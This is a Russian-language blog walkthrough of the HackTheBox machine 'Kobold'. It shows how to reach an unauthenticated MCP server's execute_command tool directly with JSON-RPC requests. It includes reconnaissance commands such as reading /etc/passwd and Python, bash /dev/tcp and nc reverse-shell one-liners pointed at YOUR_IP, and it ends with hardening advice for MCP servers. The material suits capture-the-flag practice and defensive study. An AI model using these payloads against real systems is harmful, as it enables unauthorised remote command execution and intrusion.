Взлом HackTheBox Kobold: RCE в MCP-инструментах AI на 2026 год | AiManual
AiManual Logo Ai / Manual.
02 Апр 2026 Гайд

Эксплуатация уязвимости в MCP-инструментах AI: полный разбор HackTheBox Kobold

Глубокий технический гайд по эксплуатации уязвимости в MCP-инструментах AI на примере HackTheBox машины Kobold. Шаги от разведки до RCE.

Когда ваш AI-инструмент решает вас взломать

В 2026 году поверхность атаки сместилась. Взламывают уже не только веб-серверы, но и AI-агентов, которые по идее должны работать на вас. Машина Kobold в HackTheBox – это не просто очередная таска. Это предупреждение о том, как Model Context Protocol из удобного инструмента превращается в дыру размером с грузовик.

Идея MCP гениальна: дать AI-агентам безопасный доступ к инструментам вроде файловой системы, баз данных, API. Но безопасность здесь – иллюзия. Особенно когда разработчики забывают, что любой инструмент, который может читать файлы, может и писать. А любой, который может выполнять код – может выполнить ваш код.

Важно: этот гайд основан на реальной уязвимости в реализации MCP-сервера для Kobold AI, актуальной на 02.04.2026. Принципы эксплуатации применимы к любым MCP-инструментам с недостаточной валидацией входных данных.

Что сломалось в Kobold? Разбираем кости

Kobold – это MCP-сервер, предоставляющий AI-агенту инструменты для работы с файлами и выполнения команд. Звучит невинно. Пока не понимаешь, что инструмент execute_command принимает аргументы напрямую от агента, без какой-либо санитизации.

Проблема не в самом MCP. Протокол, разработанный Anthropic, в теории безопасен. Проблема в его реализации. Разработчики Kobold считали, что AI-агент будет использовать инструменты только "по назначению". Они забыли про prompt injection, про цепочки инструментов и про то, что злоумышленник может просто напрямую обращаться к MCP-серверу.

💡
Если вы думаете, что ваш AI-агент в безопасности, потому что использует MCP, прочитайте наш разбор реальной атаки через Claude: Как защитить AI-агентов от prompt injection. Там атака достигла 90% автономности.

Подготовка полигона: что нужно перед атакой

Для работы с Kobold понадобится не только nmap. MCP-серверы общаются по SSE (Server-Sent Events) или WebSocket, а это значит, что стандартное сканирование портов покажет только открытый порт. Нужно понимать протокол.

На 02.04.2026 актуальная версия MCP – 1.1.0, где добавили аутентификацию через токены. Но в Kobold её либо нет, либо реализована криво. Проверим это.

1Сканирование и разведка

Первым делом – nmap. Но не просто -sV, а с глубинным анализом.

nmap -sV -sC -p- -T4 -A -oA kobold_full 10.10.11.XXX

Результат покажет открытый порт 8080. Веб-сервер. Заходим в браузере – видим минималистичный интерфейс Kobold MCP Server. Документация API, возможно, сваггер. Но нам нужно найти эндпоинты MCP.

MCP-серверы обычно имеют эндпоинты:

  • /sse – для Server-Sent Events
  • /messages – для отправки сообщений
  • /tools – список доступных инструментов

Проверим их с помощью curl:

curl -v http://10.10.11.XXX:8080/tools

Если сервер отвечает JSON-списком инструментов – бинго. Видим что-то вроде:

{
  "tools": [
    {
      "name": "read_file",
      "description": "Read a file from the filesystem",
      "inputSchema": {
        "type": "object",
        "properties": {
          "path": {"type": "string"}
        }
      }
    },
    {
      "name": "execute_command",
      "description": "Execute a shell command",
      "inputSchema": {
        "type": "object",
        "properties": {
          "command": {"type": "string"}
        }
      }
    }
  ]
}

Вот он – инструмент execute_command. Теперь нужно понять, как отправить ему команду. MCP использует JSON-RPC-подобный формат.

На этом этапе многие совершают ошибку: пытаются использовать веб-интерфейс. Не надо. MCP-сервер ждет специфические JSON-сообщения через SSE или WebSocket. Веб-интерфейс – просто обертка.

2Подключение к MCP-серверу напрямую

Используем Python. Библиотека mcp в 2026 году стала стандартом, но для эксплуатации проще написать raw-запросы.

import json
import requests

# URL MCP-сервера
base_url = "http://10.10.11.XXX:8080"

# Получаем список инструментов
tools_response = requests.get(f"{base_url}/tools")
tools = tools_response.json()
print("Available tools:", [t['name'] for t in tools['tools']])

# Подключаемся к SSE-потоку
import sseclient

sse_url = f"{base_url}/sse"
messages_url = f"{base_url}/messages"

# Для простоты используем /messages эндпоинт, если сервер позволяет
# Формат MCP сообщения
message = {
    "jsonrpc": "2.0",
    "method": "tools/call",
    "params": {
        "name": "execute_command",
        "arguments": {
            "command": "whoami"
        }
    },
    "id": 1
}

response = requests.post(messages_url, json=message)
print(response.json())

Если сервер отвечает с результатом выполнения команды – уязвимость подтверждена. Но в реальном Kobold может потребоваться инициализация сессии, обмен приветственными сообщениями. Нужно следовать протоколу MCP: сначала initialize, потом tools/list, затем tools/call.

💡
Если вы не знакомы с MCL, посмотрите на MCP Chat Studio v2 – это Postman для MCP-серверов, который помогает разобраться в протоколе.

Эксплуатация: от whoami до reverse shell

Допустим, мы получили ответ от execute_command. Теперь нужно понять окружение. Какие команды доступны? Есть ли python, perl, nc, bash?

Пошаговый план:

1Разведка окружения

commands = [
    "whoami",
    "id",
    "pwd",
    "ls -la /",
    "cat /etc/passwd",
    "which python3",
    "which nc",
    "which bash"
]

for cmd in commands:
    message = {
        "jsonrpc": "2.0",
        "method": "tools/call",
        "params": {
            "name": "execute_command",
            "arguments": {
                "command": cmd
            }
        },
        "id": 1
    }
    response = requests.post(messages_url, json=message)
    print(f"Command: {cmd}")
    print(f"Result: {response.json()}")
    print("-"*40)

Смотрим результат. Если видим root – отлично. Если нет – нужно эскалировать привилегии. Но сначала получим стабильный доступ.

2Загрузка reverse shell

Вариантов много. Если есть python3 – используем его.

# Python reverse shell
python_cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"

message = {
    "jsonrpc": "2.0",
    "method": "tools/call",
    "params": {
        "name": "execute_command",
        "arguments": {
            "command": python_cmd
        }
    },
    "id": 1
}

# Перед отправкой запустите слушатель на своей машине: nc -lvnp 4444
response = requests.post(messages_url, json=message)
# Даже если response не придет, shell может подключиться

Если python нет, пробуем bash:

bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

Или nc:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f

Ключевой момент: команда выполняется в том же окружении, что и MCP-сервер. Если сервер запущен от root – вы получите root-доступ. Если от непривилегированного пользователя – нужно искать пути эскалации.

Предупреждение: не используйте эту технику на системах, которые вам не принадлежат, без явного разрешения. Это незаконно.

Почему это работает? Глубокая причина

Уязвимость возникает из-за комбинации факторов:

  1. Слепая вера в AI-агента: Разработчики думают, что только AI-агент будет использовать инструменты, и он будет использовать их правильно. Но MCP-сервер – это просто API. К нему можно обратиться напрямую, минуя агента.
  2. Отсутствие аутентификации: MCP 1.1.0 добавил поддержку токенов, но многие серверы её не реализуют. И даже если реализуют, токены часто хранятся в конфигурационных файлах, доступных для чтения.
  3. Нет валидации аргументов: Инструмент execute_command принимает любую строку и передает её в subprocess.run или os.system без проверки.
  4. Сетевые ошибки: MCP-серверы по умолчанию слушают на всех интерфейсах (0.0.0.0), а не только localhost. Это делает их доступными извне.

Это классическая история: новая технология, крутые возможности, полное игнорирование безопасности. Как в случае с OpenCode, который был взломан через RCE.

Ошибки, которые вы совершите (и как их избежать)

ОшибкаПоследствиеРешение
Использовать веб-интерфейс для эксплуатацииНе сработает, так как интерфейс может фильтровать командыРаботайте напрямую с MCP-эндпоинтами
Отправлять команду без экранирования кавычекJSON-парсер сломается, команда не выполнитсяИспользуйте json.dumps для экранирования
Не проверять, какие команды доступныReverse shell не сработает из-за отсутствия утилитСначала выполните which python3 nc bash perl
Игнорировать необходимость инициализации MCP-сессииСервер отклонит запросСледуйте протоколу: initialize -> tools/list -> tools/call

Как защитить свой MCP-сервер?

Если вы разрабатываете MCP-сервер, не повторяйте ошибок Kobold:

  • Никогда не давайте инструмент execute_command. Если очень нужно – ограничьте команды белым списком.
  • Запускайте сервер только на localhost. Если нужен удаленный доступ – используйте SSH-туннель или VPN.
  • Реализуйте аутентификацию MCP 1.1.0. И храните токены в безопасном месте.
  • Валидируйте входные данные инструментов. Путь к файлу? Проверьте, что он не содержит .. и не выходит за пределы разрешенной директории.
  • Запускайте сервер от непривилегированного пользователя. Создайте отдельного пользователя с минимальными правами.
  • Используйте sandbox. Запускайте инструменты в Docker-контейнерах или gVisor. Но помните, что и контейнеры можно сбежать, как в случае с AIDA, вашим личным AI-хакером в Docker.

Безопасность AI-экосистемы – это не только prompt injection. Это и безопасность инструментов, которые вы даете агентам. Потому что если инструмент может изменить файл, рано или поздно кто-то заставит его изменить /etc/passwd.

И помните: следующий шаг хакеров – использование AI-агентов для автоматизации атак. Как в Qwen2.5-Coder-32B, который может работать как хакер. Ваша защита должна быть на шаг впереди.

Подписаться на канал